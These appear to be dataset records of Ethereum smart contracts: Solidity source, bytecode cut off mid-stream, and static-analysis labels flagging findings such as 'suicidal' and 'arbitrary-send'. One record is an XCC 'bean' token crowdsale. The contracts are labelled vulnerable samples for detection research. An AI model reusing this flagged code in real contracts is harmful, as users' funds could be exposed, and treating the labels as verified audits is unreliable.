_currentPrice-((tokensToSell-1)*_tokenPriceIncremental); _tokenSupply = _tokenSupply - tokensToSell; _grv = _grv-1 ; _tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1))); tempbase = upperBound_(_grv-1); } if((_tokenSupply - _tokens) < tempbase) { tokensToSell = _tokenSupply - tempbase; _tokens = _tokens - tokensToSell; a = _currentPrice - ((tokensToSell-1)*_tokenPriceIncremental); _etherReceived = _etherReceived + ((tokensToSell/2)*((2*a)+((tokensToSell-1)*_tokenPriceIncremental))); _currentPrice = a; _tokenSupply = _tokenSupply - tokensToSell; _grv = _grv-1 ; _tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1))); tempbase = upperBound_(_grv); } if(_tokens > 0) { a = _currentPrice - ((_tokens-1)*_tokenPriceIncremental); _etherReceived = _etherReceived + ((_tokens/2)*((2*a)+((_tokens-1)*_tokenPriceIncremental))); _tokenSupply = _tokenSupply - _tokens; _currentPrice = a; } if(sell == true) { grv = _grv; currentPrice_ = _currentPrice; } return _etherReceived; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
2,544
0xafe0e185e5dd21251e6cc87516c0c501d3aa07e9
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping (address => uint256) balances; /** * Protection against short address attack */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnerChanged(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function changeOwner(address _newOwner) onlyOwner internal { require(_newOwner != address(0)); emit OwnerChanged(owner, _newOwner); owner = _newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { string public constant name = "bean"; string public constant symbol = "XCC"; uint8 public constant decimals = 0; event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) { balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); emit Mint(_to, _amount); emit Transfer(_owner, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint internal returns (bool) { mintingFinished = true; emit MintFinished(); return true; } /** * Peterson's Law Protection * Claim tokens */ function claimTokens(address _token) public onlyOwner { if (_token == 0x0) { owner.transfer(address(this).balance); return; } MintableToken token = MintableToken(_token); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); emit Transfer(_token, owner, balance); } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale is Ownable { using SafeMath for uint256; // address where funds are collected address public wallet; // amount of raised money in wei uint256 public weiRaised; uint256 public tokenAllocated; constructor( address _wallet ) public { require(_wallet != address(0)); wallet = _wallet; } } contract XCCCrowdsale is Ownable, Crowdsale, MintableToken { using SafeMath for uint256; enum State {Active, Closed} State public state; // https://www.coingecko.com/en/coins/ethereum // Rate for May 26, 2018 //$0.002 = 1 token => $ 1,000 = 1,6816614815437654 ETH => // 500,000 token = 1,6816614815437654 ETH => 1 ETH = 500,000/1,6816614815437654 = 297,325 uint256 public rate = 297325; //uint256 public rate = 300000; //for test's mapping (address => uint256) public deposited; mapping(address => bool) public whitelist; uint256 public constant INITIAL_SUPPLY = 7050000000 * (10 ** uint256(decimals)); uint256 public fundForSale = 4 * 10**12 * (10 ** uint256(decimals)); uint256 public fundPreSale = 1 * (10 ** 9) * (10 ** uint256(decimals)); address public addressFundFounder = 0xd8dbd7723eafCF4cCFc62AC9D8d355E0b4CFDCD3; uint256 public fundFounder = 10**12 * (10 ** uint256(decimals)); uint256 public countInvestor; event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Finalized(); constructor( address _owner ) public Crowdsale(_owner) { require(_owner != address(0)); owner = _owner; //owner = msg.sender; //for test transfersEnabled = true; mintingFinished = false; state = State.Active; totalSupply = 5 * 10**12 * (10 ** uint256(decimals)); bool resultMintForOwner = mintForOwner(owner); require(resultMintForOwner); } modifier inState(State _state) { require(state == _state); _; } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address _investor) public inState(State.Active) payable returns (uint256){ require(_investor != address(0)); uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); emit TokenPurchase(_investor, weiAmount, tokens); if (deposited[_investor] == 0) { countInvestor = countInvestor.add(1); } deposit(_investor); wallet.transfer(weiAmount); return tokens; } function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) { uint256 currentDate = now; //currentDate = 1529539199; //for test's 20 Jun 2018 23:59:59 GMT uint256 currentPeriod = getPeriod(currentDate); uint256 amountOfTokens = 0; if(currentPeriod < 2){ amountOfTokens = _weiAmount.mul(rate).mul(10 ** uint256(decimals)).div(10**18); if (10**3*(10 ** uint256(decimals)) <= amountOfTokens && amountOfTokens < 10**5*(10 ** uint256(decimals))) { amountOfTokens = amountOfTokens.mul(101).div(100); } if (10**5*(10 ** uint256(decimals)) <= amountOfTokens && amountOfTokens < 10**6*(10 ** uint256(decimals))) { amountOfTokens = amountOfTokens.mul(1015).div(1000); } if (10**6*(10 ** uint256(decimals)) <= amountOfTokens && amountOfTokens < 5*10**6*(10 ** uint256(decimals))) { amountOfTokens = amountOfTokens.mul(1025).div(1000); } if (5*10**6*(10 ** uint256(decimals)) <= amountOfTokens && amountOfTokens < 9*10**6*(10 ** uint256(decimals))) { amountOfTokens = amountOfTokens.mul(105).div(100); } if (9*10**6*(10 ** uint256(decimals)) <= amountOfTokens) { amountOfTokens = amountOfTokens.mul(110).div(100); } if(currentPeriod == 0){ amountOfTokens = amountOfTokens.mul(1074).div(1000); if (tokenAllocated.add(amountOfTokens) > fundPreSale) { emit TokenLimitReached(tokenAllocated, amountOfTokens); return 0; } return amountOfTokens; } } return amountOfTokens; } function getPeriod(uint256 _currentDate) public pure returns (uint) { //1527465600 - May, 28, 2018 00:00:00 && 1530143999 - Jun, 27, 2018 23:59:59 //1540080000 - Oct, 21, 2018 00:00:00 && 1542758399 - Nov, 20, 2018 23:59:59 if( 1527465600 <= _currentDate && _currentDate <= 1530143999){ return 0; } if( 1540080000 <= _currentDate && _currentDate <= 1542758399){ return 1; } return 10; } function deposit(address investor) internal { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function mintForOwner(address _wallet) internal returns (bool result) { result = false; require(_wallet != address(0)); balances[_wallet] = balances[_wallet].add(fundForSale); balances[addressFundFounder] = balances[addressFundFounder].add(fundFounder); result = true; } function getDeposited(address _investor) public view returns (uint256){ return deposited[_investor]; } function validPurchaseTokens(uint256 _weiAmount) public inState(State.Active) returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (10**3*(10 ** uint256(decimals)) > addTokens || addTokens > 9999*10**3*(10 ** uint256(decimals))) { return 0; } if (tokenAllocated.add(addTokens) > fundForSale) { emit TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } function finalize() public onlyOwner inState(State.Active) returns (bool result) { result = false; state = State.Closed; wallet.transfer(address(this).balance); finishMinting(); emit Finalized(); result = true; } function setRate(uint256 _newRate) external onlyOwner returns (bool){ require(_newRate > 0); rate = _newRate; return true; } }
0x6080604052600436106101ac576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146101b857806306fdde03146101e7578063095ea7b31461027757806318160ddd146102dc57806323b872dd146103075780632c4e722e1461038c5780632ff2e9dc146103b7578063313ce567146103e257806334fcf437146104135780634042b66f14610458578063466bb312146104835780634b2c0706146104da5780634bb278f31461051b578063521eb2731461054a57806366188463146105a157806370a082311461060657806378f7aeee1461065d5780638da5cb5b14610688578063916576c8146106df57806395d89b411461070a5780639b19251a1461079a578063a9059cbb146107f5578063ad121e331461085a578063bef97c8714610885578063c19d93fb146108b4578063cb13cddb146108ed578063d1e2eb5e14610944578063d73dd6231461096f578063dd62ed3e146109d4578063df8de3e714610a4b578063e8acee9e14610a8e578063ec8ac4d814610ab9578063f083e8f214610b03578063fc38ce1914610b5a575b6101b533610b9b565b50005b3480156101c457600080fd5b506101cd610dc8565b604051808215151515815260200191505060405180910390f35b3480156101f357600080fd5b506101fc610ddb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561023c578082015181840152602081019050610221565b50505050905090810190601f1680156102695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028357600080fd5b506102c2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e14565b604051808215151515815260200191505060405180910390f35b3480156102e857600080fd5b506102f1610f06565b6040518082815260200191505060405180910390f35b34801561031357600080fd5b50610372600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0c565b604051808215151515815260200191505060405180910390f35b34801561039857600080fd5b506103a16112ff565b6040518082815260200191505060405180910390f35b3480156103c357600080fd5b506103cc611305565b6040518082815260200191505060405180910390f35b3480156103ee57600080fd5b506103f7611317565b604051808260ff1660ff16815260200191505060405180910390f35b34801561041f57600080fd5b5061043e6004803603810190808035906020019092919050505061131c565b604051808215151515815260200191505060405180910390f35b34801561046457600080fd5b5061046d611399565b6040518082815260200191505060405180910390f35b34801561048f57600080fd5b506104c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061139f565b6040518082815260200191505060405180910390f35b3480156104e657600080fd5b50610505600480360381019080803590602001909291905050506113e8565b6040518082815260200191505060405180910390f35b34801561052757600080fd5b50610530611440565b604051808215151515815260200191505060405180910390f35b34801561055657600080fd5b5061055f6115b8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105ad57600080fd5b506105ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115de565b604051808215151515815260200191505060405180910390f35b34801561061257600080fd5b50610647600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061186f565b6040518082815260200191505060405180910390f35b34801561066957600080fd5b506106726118b8565b6040518082815260200191505060405180910390f35b34801561069457600080fd5b5061069d6118be565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106eb57600080fd5b506106f46118e4565b6040518082815260200191505060405180910390f35b34801561071657600080fd5b5061071f6118ea565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075f578082015181840152602081019050610744565b50505050905090810190601f16801561078c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107a657600080fd5b506107db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611923565b604051808215151515815260200191505060405180910390f35b34801561080157600080fd5b50610840600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611943565b604051808215151515815260200191505060405180910390f35b34801561086657600080fd5b5061086f611b9b565b6040518082815260200191505060405180910390f35b34801561089157600080fd5b5061089a611ba1565b604051808215151515815260200191505060405180910390f35b3480156108c057600080fd5b506108c9611bb4565b604051808260018111156108d957fe5b60ff16815260200191505060405180910390f35b3480156108f957600080fd5b5061092e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bc7565b6040518082815260200191505060405180910390f35b34801561095057600080fd5b50610959611bdf565b6040518082815260200191505060405180910390f35b34801561097b57600080fd5b506109ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611be5565b604051808215151515815260200191505060405180910390f35b3480156109e057600080fd5b50610a35600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611de1565b6040518082815260200191505060405180910390f35b348015610a5757600080fd5b50610a8c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e80565b005b348015610a9a57600080fd5b50610aa36121ec565b6040518082815260200191505060405180910390f35b610aed600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b9b565b6040518082815260200191505060405180910390f35b348015610b0f57600080fd5b50610b186121f2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b6657600080fd5b50610b8560048036038101908080359060200190929190505050612218565b6040518082815260200191505060405180910390f35b600080600080806001811115610bad57fe5b600a60019054906101000a900460ff166001811115610bc857fe5b141515610bd457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515610c1057600080fd5b349250610c1c83612218565b91506000821415610c2c57600080fd5b610c418360085461230090919063ffffffff16565b600881905550610c5c8260095461230090919063ffffffff16565b600981905550610c8f8583600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661231e565b508473ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8484604051808381526020018281526020019250505060405180910390a26000600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610d4b57610d44600160125461230090919063ffffffff16565b6012819055505b610d5485612524565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015610dbc573d6000803e3d6000fd5b50819350505050919050565b600a60009054906101000a900460ff1681565b6040805190810160405280600481526020017f6265616e0000000000000000000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b60006003600460208202016000369050141515610f2557fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610f6157600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610faf57600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561103a57600080fd5b600360009054906101000a900460ff16151561105557600080fd5b6110a783600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125f090919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061113c83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230090919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120e83600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125f090919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600b5481565b600060ff16600a0a6401a43676800281565b600081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137a57600080fd5b60008211151561138957600080fd5b81600b8190555060019050919050565b60085481565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600081635b0b4680111580156114025750635b3424ff8211155b15611410576000905061143b565b81635bcbc180111580156114285750635bf49fff8211155b15611436576001905061143b565b600a90505b919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561149e57600080fd5b60008060018111156114ac57fe5b600a60019054906101000a900460ff1660018111156114c757fe5b1415156114d357600080fd5b600091506001600a60016101000a81548160ff021916908360018111156114f657fe5b0217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015801561157a573d6000803e3d6000fd5b50611583612609565b507f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768160405160405180910390a1600191505090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156116ef576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611783565b61170283826125f090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60095481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b6040805190810160405280600381526020017f584343000000000000000000000000000000000000000000000000000000000081525081565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000600260046020820201600036905014151561195c57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561199857600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156119e657600080fd5b600360009054906101000a900460ff161515611a0157600080fd5b611a5383600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125f090919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ae883600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230090919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60115481565b600360009054906101000a900460ff1681565b600a60019054906101000a900460ff1681565b600c6020528060005260406000206000915090505481565b60125481565b6000611c7682600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60006002600460208202016000369050141515611dfa57fe5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611edf57600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff161415611f8357600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611f7d573d6000803e3d6000fd5b506121e7565b8291508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561202157600080fd5b505af1158015612035573d6000803e3d6000fd5b505050506040513d602081101561204b57600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561212357600080fd5b505af1158015612137573d6000803e3d6000fd5b505050506040513d602081101561214d57600080fd5b810190808051906020019092919050505050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b505050565b600f5481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080600181111561222957fe5b600a60019054906101000a900460ff16600181111561224457fe5b14151561225057600080fd5b612259846126d1565b915081600060ff16600a0a6103e802118061227f5750600060ff16600a0a629892980282115b1561228d57600092506122f9565b600e546122a58360095461230090919063ffffffff16565b11156122f5577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260095483604051808381526020018281526020019250505060405180910390a1600092506122f9565b